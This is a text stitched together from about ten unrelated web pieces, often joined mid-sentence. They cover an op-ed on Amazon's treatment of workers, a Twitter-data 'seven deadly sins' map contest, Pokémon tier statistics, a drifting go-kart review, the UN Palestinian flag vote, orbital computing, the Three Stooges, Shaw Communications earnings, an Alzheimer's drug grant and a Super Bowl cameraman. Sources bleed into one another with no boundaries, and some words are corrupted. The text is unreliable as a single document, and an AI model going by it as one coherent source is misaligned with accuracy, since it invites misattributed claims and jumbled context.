As our report documents, Amazon is at the center of many troubling trends affecting working people, and it’s harming our communities in other ways, too. Through predatory practices, Amazon is forcing locally owned independent retailers out of business. As both these stores and major chains close their doors, communities are losing a critical source of property and sales tax revenue, which they rely on to pay for basic services.
milnce mid-2015, Amazon has more than doubled its warehouse and delivery facilities. When these new facilities come online, Amazon gets featured in headlines as a job creator, and praised by public officials as an innovator and leading light of the economy. Indeed, local and state governments have provided over $600 million in incentives to subsidize Amazon’s expansion. The dirty secret behind Amazon’s rise, however, is that as it displaces sales at other businesses, it in fact destroys more jobs than it creates. The company employed 146,000 U.S. workers at the end of 2015, we find, but at the cost of about 295,000 jobs lost at brick-and-mortar retail stores and other businesses.
Addressing working conditions at Amazon is also becoming more urgent because the corporation’s ambitions extend far beyond retail. One example is its moves into package delivery, a sector of the economy that has traditionally provided good jobs, like those of nearly one million people who have earned family-sustaining salaries at UPS and the U.S. Postal Service. Amazon is now aggressively building out its own delivery infrastructure to serve its needs and those of other firms. It recently purchased 4,000 trailers to move its goods, leased a fleet of air cargo planes, and opened more than 20 sortation centers and dozens of delivery stations.
As it brings package delivery in-house, Amazon is using an Uber-like app to manage freelance drivers and also turning to low-cost regional courier companies. These companies distinguish themselves by being willing to meet tight delivery windows on the cheap. They’re able to do this, in large part, by classifying their delivery drivers as “independent contractors” instead of employees, and requiring these drivers to pay out-of-pocket for fuel, insurance, and other expenses. As a result, drivers at times earn less than minimum wage, according to drivers in California and Arizona who recently filed suit against Amazon. The company’s air cargo is likewise handled by a third-party contractor and late last year its pilots went on strike to protest an excessive workload.
Like in Amazon’s warehouses, here too, Amazon’s approach to the people who work for it isn’t innovative. Meanwhile, even as Amazon squeezes working people, it’s delivering enormous wealth to a handful of top executives and shareholders. Amazon founder and CEO Jeff Bezos is now the planet’s fifth-wealthiest person, with an estimated net worth of $65 billion.
We urgently need to support workers at Amazon who are campaigning and organizing for better conditions, and we also need public policy to keep up with the changing economy. To protect working people, public officials should expand joint employer liability for corporations like Amazon that rely heavily on temporary employees, block corporations from misclassifying employees as freelancers, enforce existing wage-and-hour laws, and make it easier for working people to form unions.
Stacy Mitchell is co-director at the Institute for Local Self-Reliance, and Olivia LaVecchia is a research associate with its Community-Scaled Economy Initiative. They’re co-authors of ILSR’s Nov. 2016 report, “Amazon’s Stranglehold: How Amazon’s Tightening Grip on the Economy Is Stifling Competition, Eroding Jobs, and Threatening Communities.”Seven Deadly Sins (Envy, Gluttony, Greed, Lust, Pride, Sloth, Wrath) inspired in part by the c ool mapping exercise by Mitchel Stimers and others at Kansas State University ( here After some brain-storming we decided to go with the theme of the(Envy, Gluttony, Greed, Lust, Pride, Sloth, Wrath) inspired in part by the c. After all, the Twitter data from which we were pulling reflects the commentary of daily life. What better source for uncovering the sins that lurk within the hearts and microblogging activities of Internet users? So we sat down and came up with range of terms that we thought did a decent job of representing a sin (e.g., the term Big Mac for Gluttony or honor student for Pride) and compiled them into a "sindex" for each each of the seven sins. The sindex can be used as an aggregate measure or divided into its component parts (see meta data below).
(btw, Stimers et al maps are NOT based on tweets but indicators such as crime, income, etc.)
The challenge to you is to make your own map(s) of the 7-deadly sins with our data.
You can not post the raw data on the internet or redistributed to others. Please contact us before using the data for any other research purpose. Commercial use is prohibited. Maps may created in a range of formats from static maps (e.g, choropleth, cartograms or cartoons) to animations or interactive interactive maps. Maps can be submitted as an attached.jpg or.pdf or can be a link to an interactive or animated map. Your visualization needs to use at least one of the data files included in the 7-sins data package. Adding additional data from other sources (e.g. census, crime stats) is definitely allowed. You can chose one sin, one aspect of a sin, or all the sins. For your visualization to be considered by the judges, you must email it to monica.stephens@humboldt.edu by November 30, 2012. Monica will forward it on to the judges for consideration. Include a jpg/pdf of the actual map (or series of maps) or a link to an interactive or animated map. Include a Word document that has (a) your name (or group), (b) your contact info (c) the specific seven sin dataset(s) you used and (d) a title/name for the map. Although it is not required, feel free to include a short description/abstract of what you did, especially if you think it is cool/important. Multiple entries are allowed but submit each map separately as outlined above. Judges should not be bribed with chocolate. (It is OK to bribe your local cartographer/GIS expert for help as long as you credit them in your work). The judges will select winners across a range of categories and map types. Winners will receive bragging rights, a carefully constructed electronic certificate (suitable for framing) and perhaps some FloatingSheep paraphernalia we have kicking around. By submitting a map you give the FloatingSheep.org blog permission to post it under the creative commons attribution-noncommercial-sharealike license we use for all our stuff. Goto rule 1.
The database is about 70 MB in size
Data covers all geotagged tweets made within the United States between June 26 and October 30
Keywords used (and associated sampling rates when appropriate) is available online
We have also include a range of other terms that may (or may not) fit in well with a particular sin (e.g., does Justin Bieber represent Lust? Or Pride? Or Envy?). Some of them (such as a random selection of tweets) will be useful for standardizing purposes.
Over the past couple of months/weeks we've been having a lot of fun with the Twitter data we've been pulling in through our DOLLY project. We've looked at beer vs. church binders full of women, and even Big Bird. But why should we have all the fun? Wouldn't you like to be a sheeple too?So in that vein and despite the frankenstorm on the East Coast which has reduced Taylor to nibbling on dry Ramen as he makes maps, we're pushing forward with our November Sheepallenge. Building upon the idea of IronSheep 2012 (in which teams were given the same datasets and tasked with making "tasty maps") we have provided Sheepallenge participants with a set of Twitter derived data as part of an fantastical, allegorical, mapitorital competition taking place this month. This is going to be so wicked cool!Those of you who registered as research participants should have received an email with a link to download the data. If you are just reading this now and are thinking "Man, I should of signed up." email Monica and asked to be hooked up (monica.stephens@humboldt.edu). We probably can accommodate more participants but no guarantees. Currently we have 33 visualization groups/classes/people signed up from around the world so we can't wait to see what we end up with.Whoever creates the most interesting, fun, informative and aesthetically pleasing visualization or data-driven artwork, will receive a prize and will have their visualization posted about here on FloatingSheep.org.The rules are as follows:Please direct all questions to Monica (monica.stephens@humboldt.edu) or Ate (ate.poorthuis@uky.edu).May the best map win!Much more extensive metadata is available with the data but the basics are:ABSOLUTELY NOT THE THREAD
We use 1695 stats for OU, 1630 otherwise
When there's a suspect test, we weight each ladder's stats based on the number of battles (so if OU suspect got 50k battles and OU regular got 150K, then OU regular would be given 75% of the weight)
To quick-rise this month, a Pokemon must have usage greater than 6.696700846%; to drop, less than 1.717940145%.
Although we're just doing quick-rises and quick-drops this month, I still felt that it was worth it to make a new thread in light of this policy decision (tl;dr--we're tiering megas separately now).Note that this isto discuss that policy change.Anyway, I've been super busy as of late, so the separate tiering and counting of mega formes has not been fully implemented across my stats scripts--it's all I could do to get it shoehorned into the tier update script. And even there, it's quite likely that there are bugs, so if you see something that looks wrong, say something, and I'll check it out. You can cross-check the numbers using this months' usage stats --just subtract the mega counts from the listed counts to get non-mega counts.Recall:Reading Time: 4 minutes
Here’s another one to file under “I wish they had these when I was a kid.” Razor, the company perhaps best known for revitalizing the “scooter industry” and making kick scooters cool again, has branched out in some surprising ways.
One of those ways? The Crazy Cart. The second I saw a Crazy Cart, I knew I had to have one. What is it? It’s essentially a drifting go-kart. OK, what does that mean? In a nutshell, it’s a battery-powered go-kart that has the ability to drift sideways, go backwards, and make complete 360s.
Have you ever wished ‘Mario Kart’ were real? Of course you have. We all have. Well, it’s time to set up the Chain Chomps and prepare the turtle shells and banana peels; Razor is bringing real-life ‘Mario Kart’ to your nearest empty parking lot. Boo-yah.
Let’s take a closer look.
First things first: power. The center console has a simple on/off switch. Switch it on and you’re ready to go. There’s a nice safety feature that, if the accelerator pedal is depressed at all when you switch the cart on, the motor is disabled. This prevents the cart from taking off unexpectedly and throwing you for a loop (literally). If this happens, take your foot off the pedal, turn the cart off, and turn it back on. You should be good to go.
Beneath the power switch is a charger port. The Crazy Cart comes with a battery charger, so all you need to do it plug it in and wait. (That might be the hardest part.) Razor claims the battery will support up to 40 minutes of continuous run time on a single charge, but I haven’t put that to the test yet.
This is actually a second version of the Crazy Cart, which has some design differences from the first model. The two biggest differences are that they moved the battery and motor up front, under the steering wheel, and they replaced forward caster wheels with stabilization posts.
The former change increases legroom for the rider since the battery used to be behind the seat. It also makes the whole thing a bit more aesthetically pleasing since the battery and motor are now hidden under the red hood.
The latter change was made to prevent the vehicle from tipping over when getting on and off or when turning too hard. In either of these cases, as the cart starts to tip, one of the stabilizing posts touches the ground and helps limit the tipping.
Another change made from the first model is the removal of seat belts. This is also my biggest complaint. The Crazy Cart can reach speeds up to 12 mph, which may not sound like much, but if you pull up on the drift bar at full speed and start spinning, you may wish you (or, more likely, your kids) were more securely strapped in place. We’ll come back to that.
So how does it work?
A variable speed accelerator controls a single front wheel and allows the cart to move at a range of speeds (again, up to 12 mph).
Direction is controlled by the steering wheel, obviously, but an arrow on the wheel indicates the direction the cart will move, regardless of how the rest of the cart is oriented. The steering wheel also rotates slightly more than 180 degrees, which not only allows the cart to move in reverse but also greatly increases maneuverability while in motion.
In “go-kart mode” (i.e., with the drift bar resting in a horizontal position), the vehicle drives relatively normally. Turn the steering wheel, and the cart turns. However, my 6-year-old daughter quickly learned that if she turned the steering wheel quickly and sharply, she could get the cart to spin. Not quite drifting, but still a thrill for little ones.
The drift bar is what activates “crazy cart mode.” Lifting the bar raises up the rear caster wheels, allowing them to spin freely in all directions and sending the cart drifting.
But enough talk, take a look at the Crazy Cart in action…
Yeah, tell me you don’t want one.
Some things to keep in mind:
– The recommended maximum weight is 140 lbs. That means this is really geared toward kids (and skinny adults). I admit that I’m over that limit by about 30 lbs but still took the Crazy Cart for a spin. It works fine, but, with my added weight, the stabilization posts up front have a tendency to scrape along the ground.
– Beware the stabilizers. Those same stabilization posts also scrape if the ground is sloped at all. It’s best to use the Crazy Cart on flat, level pavement. If you can find a big, empty parking lot or tennis court, that’s where the Crazy Cart really shines.
– There are no brakes on the Crazy Cart. This is very important to remember. So how do you stop? Let go of the accelerator pedal, and the cart will slow to a stop. Need to stop quickly? Let go of the accelerator pedal, lift up the drift bar, and spin. It takes some getting used to, and your natural instinct to stop quickly is to drag your feet along the ground. Do not do this.
– There is no seat belt on the Crazy Cart. Remember that natural instinct to use your feet as brakes? Yeah, kids have that instinct too. And when they do that, it throws everything off balance. To be fair, we’ve never come close to flipping (or even tipping) the Crazy Cart, but the absence of a seat belt seems like a major oversight. I asked Razor about this, though, and here’s their rationale for omitting a seat belt:
The first edition of the Crazy Cart had a lap/shoulder strap. However, when developing the second version, we had concluded that especially when the Crazy Cart is used improperly (i.e., under the recommended age), the lap/shoulder strap might actually do more harm than good.... Sometimes it’s better to be able to fall off than possibly fall under. While the product isn’t really very fast, it is faster when spinning and if used improperly and the product tilts excessively, it could cause more harm to be attached to the product with the lap/shoulder strap than to roll out of the product.
I get that, but I’m a parent. A seat belt exhibits at least a modicum of safety. Obviously, helmets are a necessity, but you might also want to think about knee and elbow pads. Razor recommends a minimum age of 9 to operate the Crazy Cart. It’s certainly possible for younger kids to drive it (as long as they can reach the accelerator pedal), but you know your kids best.
– Adults deserve some fun, too. And they shall have it! The adult-sized Crazy Cart XL (with a maximum weight of 240 lbs) is currently available directly from Razor and through Toys “R” Us.
– Drifting cart awesomeness doesn’t come cheap. The standard Crazy Cart retails for $399 (but can be had for $299), and the XL is a whopping $799.
But can you really put a price on real-life ‘Mario Kart?’ I don’t think so.
(Disclosure: Razor provided me with a Crazy Cart for review purposes.)
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Get the Official GeekDad Books!The U.N. General Assembly overwhelmingly approved a resolution Thursday allowing the Palestinians and the Holy See to raise their flags at U.N. headquarters — a symbolic step pursued by the Palestinians in their quest for an independent state.
Israel strongly objected to the proposal and joined seven other countries, including the United States, in voting "no"; 119 nations voted "yes" and 45 abstained.
The resolution allows non-member observer states to raise their flags alongside those of the 193 U.N. member states. The Palestinians and the Vatican are the only two observers, but the Holy See has backed away from the effort, saying it will not raise its flag before Pope Francis visits the U.N. later this month.
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With Israeli-Palestinian peace negotiations stalled and little prospect of a two-state solution emerging, the Palestinians have successfully pursued symbolic recognition as a state at the United Nations — winning General Assembly approval in late 2012 to raise their status from an observer to a non-member observer state, by a vote of 138 in favour and nine against. That has allowed the Palestinians to join U.N. bodies, including its cultural organization UNESCO, and many international treaties, including the Rome Statute that established the International Criminal Court.
Riyad Mansour, the Palestinian U.N. ambassador, hailed the "historic vote," calling it "another step towards fulfilment of the promise of independence made to the Palestinian people nearly seven decades ago."
He said last week that the Palestinians would like President Mahmoud Abbas to raise their flag after he addresses the General Assembly's annual gathering of world leaders Sept. 30.
"Of course we know that raising our flag will neither end the (Israeli) occupation nor solve the conflict immediately," Mansour said. "But raising the flag will signal to our people everywhere... that their freedom is inevitable, and the international community supports them in their journey for justice."
Israel's U.N. Ambassador Ron Prosor called the goal of the resolution "a photo op," saying it will not advance prospects for peace, but in his final speech at the United Nations he looked forward to that day.
"History proves to us that negotiations can be fruitful, that peace is possible, and that we can create a new reality for the people of the region," he said. "I look forward to seeing the image of an Israeli prime minister and a Palestinian leader standing side by side, raising the flags of our two peoples, living together in peace. That will be a photo truly worth taking."
Mansour called the resolution "a contribution to the international effort to salvage the two-state solution" and expressed hope that "we may see the day when the state of Palestine and the state of Israel live side by side in peace, coexistence and security, and sharing the bonds of a new era in our region and in our global community."
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While General Assembly resolutions are not legally binding, the United Nations has said it will be guided by the vote. The resolution allows 20 days for implementation and holes for additional flagpoles already exist.
The Palestinians' supporters had hoped that no nation would block the proposal and risk offending the Vatican on the eve of Pope Francis' first U.S. and U.N. visit. But the Holy See asked that it not be named in the resolution.
Archbishop Bernardito Auza, the Vatican's U.N. ambassador, told the assembly after the vote that "the Holy See has always respected the 70-year practice and tradition of the United Nations that there are only flags of member states that are flown at the United Nations." But he said it didn't object to the Palestinian proposal and respects the assembly's decision.
He told reporters Wednesday that "we have generally different priorities," and while he ruled out raising the Vatican flag before the pope's Sept. 25 visit, he left open the possibility that it might fly at U.N. headquarters sometime in the future.
Some 135 countries — the vast majority in Asia, Africa and Latin America — have recognized a state of Palestine. In May, the Holy See added its recognition, and Auza reiterated the Vatican's support for a two-state solution.
The United States and Israel oppose recognizing a Palestinian state, arguing that it undermines efforts to negotiate a peace agreement.
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"Our vote reflects the reality that the parties themselves must ultimately take the constructive, responsible steps required to achieve a two-state solution and end the cycle of violence and suffering that has persisted for far too long in the Middle East," U.S. Ambassador Samantha Power told the General Assembly just before the vote.
Canada, Australia and several small island states also voted "no." Europe was divided with France, Italy, Spain, Sweden and Poland among those voting "yes" while Britain, Germany, the Baltic states and others abstained.The demand for computing power is constantly rising, but we’re heading to the edge of the cliff in terms of increasing performance — both in terms of the physics of cramming more transistors on a chip and in terms of the power consumption. We’ve covered plenty of different ways that researchers are trying to continue advancing Moore’s Law — this idea that the number of transistors (and thus the performance) on a chip doubles every 18 months — especially the far out there efforts that take traditional computer science and electronics and dump them in favor of using magnetic spin, quantum states or probabilistic logic.
We’re going to add a new impossible that might become possible to that list thanks to Joshua Turner, a physicist at the SLAC National Accelerator Laboratory, who has proposed using the orbits of electrons around the nucleus of an atom as a new means to generate the binary states (the charge or lack of a charge that transistors use today to generate zeros and ones) we use in computing. He calls this idea orbital computing and the big takeaway for engineers is that one can switch the state of an electron’s orbit 10,000 times faster than you can switch the state of a transistor used in computing today.
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That means you can still have the features of computing in that you use binary programming, but you just can compute more in less time. To get us to his grand theory, Turner had to take the SXSW audience through how computing works, how transistors work, the structure of atoms, the behavior of subatomic particles and a bunch of background on X-rays.
X-rays are actually his specialty at SLAC, where he oversees experiments in the Linear accelerator to take pictures of subatomic particles in action. Those experiments have also led to the discovery of new materials and visualizations that could help computing in the nearer term. One is the discovery of a material that allows electrons to switch states really quickly that could improve magnetic random access memory speeds by a factor of thousand.
Another breakthrough is the ability to see what spin (positive or negative) electrons in a magnetic field have taken — which is akin to seeing what’s happening inside a transistor while it’s working. This helps engineers take the guesswork out of what some of the new breakthroughs in chip research might mean in the real world. One of the problems with working at the subatomic layer is that you can’t see what you are doing without expensive equipment.
A third breakthrough is the use of a lower-power terahertz laser to prompt a shift in the state of a magnetic spin of electrons. Like both the new material and the concept of orbital computing, this is a way to switch the state of an electron faster. The primary advantage here is that while we’ve known for a while that a laser can speed up a state change (and thus, speed up computing) those lasers require a lot of power. The terahertz breakthrough offers a boost in speed without requiring a huge power draw.
While the talk was highly technical, it was also engaging and Turner imbued it with a sense of wonder. He ended by reminding us that even as we’re toting small computers in our pockets or commercializing quantum computers, there is so much we don’t know about getting more performance and more insights out of computers. So while there’s a renewed interest in space as the “final frontier,” he argued that there is as much wonder to be had at the smaller scale.
“The frontier is really all around us,” he said. |
edit ]
On June 9, 2015, C3 Entertainment announced it is partnering with London-based production company Cake Entertainment and animation house Titmouse, Inc. to produce a new animated Three Stooges series, consisting of 52 11-minute episodes. Christy Karacas (Co-creator of Superjail!) directed the pilot episode, with Earl and Robert Benjamin, Chris Prynoski, Tom van Waveren and Edward Galton executive producing. The series will be launched to potential buyers at the market of the Annecy International Animated Film Festival.[44][45]
Other appearances [ edit ]
Hollywood Steps Out The Three Stooges caricature from the 1941 cartoon
In the October 13, 1967 "Who's Afraid of Mother Goose?" episode of ABC's "World-of-Disney"-like anthology series Off to See the Wizard, the Three Stooges made a short appearance as "the three men in a tub".
Two episodes of Hanna-Barbera's The New Scooby-Doo Movies aired on CBS featuring animated Stooges as guest stars: the premiere, "Ghastly Ghost Town" (September 9, 1972) and "The Ghost of the Red Baron" (November 18, 1972).
In a 1980 episode of M*A*S*H, Charles Winchester shows disrespect for three Korean doctors by calling them "Moe, Larry and Curly", and says that they are "highly-respected individuals in the States". After Winchester throws out his back and is unable to relieve the pain through conventional methods (in real life, Winchester would've received an automatic medical discharge from the United States Army), Colonel Potter has the Korean doctors try acupuncture (much to Winchester's dismay), which cures Winchester. After the treatment, one of the doctors tells Winchester "Not bad for Three Stooges, huh?", having caught on to his mistreatment of them.
In the episode "Beware the Creeper" of The New Batman Adventures, the Joker retreats to his hide-out after a quick fight with Batman. He yells out for his three henchmen "Moe? Larr? Cur?" only to find that they are not there. Shortly after that, Batman comes across these three goons in a pool hall; they have distinctive accents and hairstyles similar to those of Moe, Larry and Curly. These henchmen are briefly seen throughout the rest of the season.
Television film (2000) [ edit ]
In 2000, long-time Stooge fan Mel Gibson executive-produced a TV film (The Three Stooges[46]) about the lives and careers of the comedians. Playing Moe was Paul Ben-Victor, Evan Handler was Larry, John Kassir was Shemp, and Michael Chiklis was Curly. It was filmed in Australia and was produced for and broadcast on ABC. It was based on Michael Fleming's authorized biography of the Stooges, The Three Stooges: From Amalgamated Morons to American Icons. Its unflattering portrayal of Ted Healy led Healy's son to give media interviews calling the film inaccurate. Additional errors of fact included the portrayal that Moe Howard was down on his luck after Columbia cancelled their contract and worked as a gofer at the studio, where he, his brothers and Larry had formerly worked as actors. In reality, Moe was the most careful with his money, which he invested well. He and his wife Helen owned a comfortable house in Toluca Lake, in which they raised their children.
Film [ edit ]
The Three Stooges (2012) [ edit ]
A film about the Three Stooges, titled The Three Stooges, started production on March 14, 2011, with 20th Century Fox[47] and was directed by the Farrelly brothers. The film had been in what one critic has dubbed "development hell".[48] The Farrellys, who wanted to make the film since 1996, said that they were not going to do a biopic or remake, but instead new Three Stooges episodes set in the present day. The film is broken up into three continuous episodes that revolves around the Stooges characters.[49]
Casting the title characters proved difficult for the studio. Originally slated were Sean Penn to play Larry, Benicio del Toro to play Moe, and Jim Carrey to play Curly. Both Penn and del Toro left the project but returned while no official confirmation had been made about Jim Carrey. When del Toro was interviewed on MTV News for The Wolfman, he spoke about playing Moe. He was later asked who was going to play Larry and Curly in the film and commented that he still thought that Sean Penn and Jim Carrey were going to play them, though he added, "Nothing is for sure yet."[50][51] A story in The Hollywood Reporter stated that Will Sasso would play Curly in the upcoming comedy and that Hank Azaria was the front runner to play Moe.[52] Sasso was ultimately cast as Curly; Sean Hayes of Will & Grace was cast as Larry Fine,[53] while Chris Diamantopoulos was cast as Moe.[54] Jane Lynch later joined the cast, playing a nun.[55] The film was released on April 13, 2012, and grossed over $54 million worldwide.[56]
Sequel [ edit ]
On May 7, 2015, a sequel was announced, with Sean Hayes, Chris Diamantopoulos, and Will Sasso all reprising their roles. Cameron Fay has been hired to write the script.[57] Production was scheduled to begin in 2018.[58]
The Three Little Stooges (2019) [ edit ]
On February 3, 2016, C3 announced a new action/adventure film titled The Three Little Stooges. It will star Gordy De StJeor, Liam Dow, and Luke Clark as 12-year-old versions of Moe, Larry, and Curly.[59] The first film, which will set the foundation for future films and television spin-offs, is set to begin production in November 2017,[60] and expected to be released in 2018.[61] The screenplay was written by Harris Goldberg, with Sean McNamara set to direct.[62] The film's budget is $5.8 million. On July 19, 2017, C3 began seeking crowdfunding to pay for a portion of the budget. In August 2017, they exceeded their minimum goal of $50,000.[63]
Video games [ edit ]
In 1984, Gottlieb released an arcade game featuring the Stooges trying to find three kidnapped brides.
Later in 1987, game developers Cinemaware released a successful Three Stooges computer game, available for Apple IIGS, Amiga, Commodore 64, MS-DOS, and Nintendo Entertainment System (NES). Based on the Stooges earning money by doing odd jobs to prevent the foreclosure of an orphanage, it incorporated audio from the original films and was popular enough to be reissued for the Game Boy Advance in 2002, as well as for PlayStation in 2004.[64]
The Three Stooges also have a slot game adaptation created by Realtime Gaming[65]
VCR game [ edit ]
A VCR game was released by Pressman Toy Corporation in 1986, which utilized a number of classic Stooges clips.[66]
In foreign languages [ edit ]
In most other languages, the Three Stooges are known by some corresponding variant of their English name. In Chinese, however, the trio is known idiomatically as Sānge Chòu Píjiàng (三個臭皮匠)[67] or Huóbǎo Sānrénzǔ (活寶三人組). Sānge Chòu Píjiàng, literally "Three Smelly Shoemakers", which derives from a saying in the Romance of the Three Kingdoms: Sāngè chòu píjiàng shèngguò yīgè Zhūgě Liàng (三個臭皮匠，勝過一個諸葛亮) or "Three smelly shoemakers (are enough to) overcome one Zhuge Liang [a hero of the story]", i.e. three inferior people can overpower a superior person when they combine their strength. Huóbǎo Sānrénzǔ translates as "Trio of Buffoons".[68] Likewise in Japanese they are known as San Baka Taishō (三ばか大将)[69] meaning "Three Idiot Generals" or "Three Baka Generals".
In Spanish they are known as Los tres chiflados[70] or, roughly, "The Three Crackpots". In French and German usage, the name of the trio is partially translated as Les Trois Stooges (though the French version of the movie adaptation used a fully translated name, "Les Trois Corniauds") and Die drei Stooges respectively. In Thai, the trio is known as 3 สมุนจอมป่วน (3 Samunčhǭmpūan; IPA: [sà mun tɕɔːm pùːan]) or 3 พี่น้องจอมยุ่ง (Phīnǭngčhǭmyung; IPA: [pʰîː nɔ́ːŋ tɕɔːm jûŋ]). In Portuguese, they are known as Os Três Patetas in Brazil, and Os Três Estarolas in Portugal, estarola being a direct translation of "stooge", while pateta being more related to "goofy". In Persian the trio are dubbed as "سه نخاله". In Turkish, they are dubbed as Üç Ahbap Çavuş ("The Three Cronies").
Awards and nominations [ edit ]
In 1993, the Three Stooges won the MTV Lifetime Achievement Award.
The Three Stooges earned a star on the Hollywood Walk of Fame at 1560 Vine Street on August 30, 1983.[71]
See also [ edit ]
References [ edit ]
Further reading [ edit ]TORONTO — Shaw Communications Inc, a Western Canada-focused media and cable company, said on Thursday that net income fell almost 9% in the third quarter, as it lost more television subscribers despite a boost from business customers.
Calgary, Alberta-based Shaw is engaged in a fierce battle for customers with telecommunications operator Telus Corp, but both have sought to avoid a price war.
Shaw reported net income of $228 million, or 47 Canadian cents per share, for the quarter ended May 31, down from $250 million, or 52 cents a share, a year earlier.
Operating revenue was $1.342 billion, up slightly from a year ago. The company said it now expects free cash in excess of $650 million for 2014.
Analysts, on average, expected Shaw to earn 49 Canadian cents a share on revenue of $1.36 billion, according to Thomson Reuters I/B/E/S.
Shaw said some of the quarterly income decline was due to the sale of a cable business in the year-ago quarter.
The number of new Internet customers rose by 12,400 to a total of 1.9 million in the quarter. Shaw lost more than 12,000 video subscribers, while it added 4,800 landline telephone accounts.
Shaw has sidestepped the wireless market, instead choosing to build a network of more than 40,000 free WiFi access points for its customers.
Shaw recently said it would realign its corporate structure around customers – business or consumer – rather than products such as cable TV. It said it will report financials on this basis starting in the next fiscal year.
In April Shaw cut 400 jobs as part of the restructuring.
© Thomson Reuters 2014Announcements New Approach to Delay Alzheimer’s Dementia Onset to Be Tested in Phase-3 Clinical Trial
Category: New Grants
AGB101 could be the first drug to modify progression of amnestic mild cognitive impairment (aMCI) in patients at a high-risk for progressing to Alzheimer’s dementia
The Alzheimer’s Drug Discovery Foundation (ADDF) announced today a $900,000 grant to AgeneBio, a pharmaceutical company developing innovative therapies for neurologic and psychiatric diseases. The grant will support the initiation of an FDA-registered Phase 3 clinical trial of AGB101, a new therapeutic treatment for amnestic mild cognitive impairment (aMCI). aMCI is a condition in which memory is worse than to be expected for a person’s age and is considered the pre-dementia stage of Alzheimer’s disease. This is the second grant that the ADDF has made to AgeneBio.
AGB101 is a proprietary formulation of low-dose levetiracetam, given to patients at approximately one-fifteenth of the dose most commonly prescribed for epilepsy. This therapeutic has been commercialized for more than a decade and offers a well-characterized safety profile at fifteen times the expected dose for AGB101. AgeneBio expects to initiate the AGB101 Phase 3 clinical program in the second half of 2015.
AGB101 is the first and only treatment to target hippocampal hyperactivity, a condition characteristic of the aMCI stage of Alzheimer’s disease. The Phase 3 trial will build on studies in both animal models and patients with aMCI that have demonstrated the importance of reducing hippocampal hyperactivity to restore the brain function necessary to maintain cognitive function and memory. aMCI is believed to affect between 10 and 20 percent of individuals 65 and older. There is currently no FDA-approved therapy for patients in this pre-dementia stage of Alzheimer’s disease, representing an enormous unmet clinical need.
“The ADDF is thrilled to support AgeneBio to advance the clinical development of this drug candidate for the benefit of aMCI patients,” said the ADDF’s Founding Executive Director and Chief Science Officer Howard Fillit, MD. “This treatment has the potential to alter the course of Alzheimer’s disease, restore normal brain function and preserve memory and cognitive abilities.”
“We are extremely grateful to the ADDF for its continued support of our drug development program,” said AgeneBio’s CEO Jerry McLaughlin. “This additional grant is a strong endorsement of our clinical program, and we look forward to working with ADDF as our research progresses.”
AgeneBio’s portfolio of drug discovery work is based on the research of its founder, Michela Gallagher, PhD, Krieger-Eisenhower Professor of Psychological and Brain Sciences and Principal Investigator of the Neurogenetics and Behavior Center at Johns Hopkins University.
About AgeneBio
AgeneBio is an emerging pharmaceutical company dedicated to developing innovative therapeutics that prevent neurodegeneration and preserve and restore cognitive function for unserved patients battling amnestic mild cognitive impairment (aMCI), the symptomatic pre-dementia stage of Alzheimer’s disease, and other neurological and psychiatric diseases. AgeneBio’s novel pipeline of therapies is based on decades of research at Johns Hopkins University and leading research centers worldwide showing that overactivity in the hippocampus contributes to cognitive impairment and drives neurodegeneration if not controlled. This overactivity is a characteristic feature of aMCI. If approved, AgeneBio’s Phase 3-ready lead candidate, AGB101, will be the first and only therapeutic targeting hippocampal overactivity and potentially the first therapeutic to slow progression to, and delay the onset of, Alzheimer’s dementia. AgeneBio also has a novel GABAA α5 small molecule program in late discovery stage with potential therapeutic potential for a spectrum of untreated conditions including aMCI, autism and schizophrenia.Super Bowl cameraman juggles to catch jingle
At crunch time at the Super Bowl today, he'll rely on the confidence gained from having been in the same precarious situation many times before. To avoid defeat, he'll rely on his savvy, quickness, toughness and anticipation, along with his vision of the field. Millions of dollars are riding on his shoulders.
Tom Brady? Eli Manning?
No, he's Mark Allan, a stocky, 61-year-old San Francisco native who lives in Inverness. He has wielded a camera for 40 years. Today, the freelance television cameraman's mission, as at many previous Super Bowls, is to capture the key player of the victorious team in the frenzied seconds immediately after the clock has run out.
Someday, if he were so inclined, his epitaph could echo the triumphant words he and his crew elicit from the day's hero: "I'm going to Disneyland!"
In the commercial that will further immortalize the lucky player, an off-camera voice says, "(Player's name), you've just won the Super Bowl. What are you going to do now?"
American sports have some oddball customs in their victory celebrations. The Indy 500 winner chugs a bottle of milk. World Series winners shower each other with Champagne, and the empty bottles fetch thousands of dollars on the Internet. College football rivalries feature such trophies as an old oaken bucket, an old brass spittoon, a couple of cannons and, of course, an ax.
Mark Allan a photographer for NFL Films with his Arriflex camera. Kurt Rogers / The Chronicle MANDATORY CREDIT FOR PHOTOG AND SAN FRANCISCO CHRONICLE/NO SALES-MAGS OUT Mark Allan a photographer for NFL Films with his Arriflex camera. Kurt Rogers / The Chronicle MANDATORY CREDIT FOR PHOTOG AND SAN FRANCISCO CHRONICLE/NO SALES-MAGS OUT Photo: Kurt Rogers Photo: Kurt Rogers Image 1 of / 1 Caption Close Super Bowl cameraman juggles to catch jingle 1 / 1 Back to Gallery
To be sure, the Disneyland phrase is merely a commercial jingle, no more spontaneous than a pregame flyover by F-18s. But it has become an NFL tradition, and players (and their agents) have lobbied for the privilege. It has spawned numerous parodies, some in Disney's own films.
Allan has shot 18 of the spots, beginning with New York Giants quarterback Phil Simms in 1987. Disney hires NFL Films to shoot them, then pays a fortune to run the commercials on prime time for several days after the Super Bowl.
The player utters not only "I'm going to Disneyland!" but also "I'm going to Disney World!" for the sake of East Coast audiences. He is asked by a director to repeat each version three or four times, while Allan implores him, "Look in the lens."
Allan has no idea how much the player earns, but he says the player is obligated to show up at one of the Disney theme parks soon after the Super Bowl, preferably with a horde of smiling offspring, so that he and his family can be treated like royalty.
Allan is concerned strictly with the quality of the shot. Helmets on are better than helmets off, he says; the appearance of spontaneity trumps full-face recognition. Helmets are way better than those baseball caps that instantly materialize after big football games. And a moving hero is a better shot than a standing one.
Disney officials decide the player, often in the final minute of play. The chosen one, as Allan points out, isn't always the game's Most Valuable Player. And sometimes a coach is involved. Colts running back Dominic Rhodes was paired with coach Tony Dungy last year, making this the rare national TV commercial on which Peyton Manning, the MVP, has not appeared.
Like Manning, Allan was shut out on that spot, through no fault of his own. In a Miami downpour, his lens had fogged up, so he couldn't see what he was shooting. What's worse, one of the lights being used to illuminate the stage for the trophy ceremony "was shining right between Dungy and Rhodes right down the barrel of my lens, hitting the fog and flaring everything up."
His shot was ruined, but another NFL Films crew got the shot and saved the day.
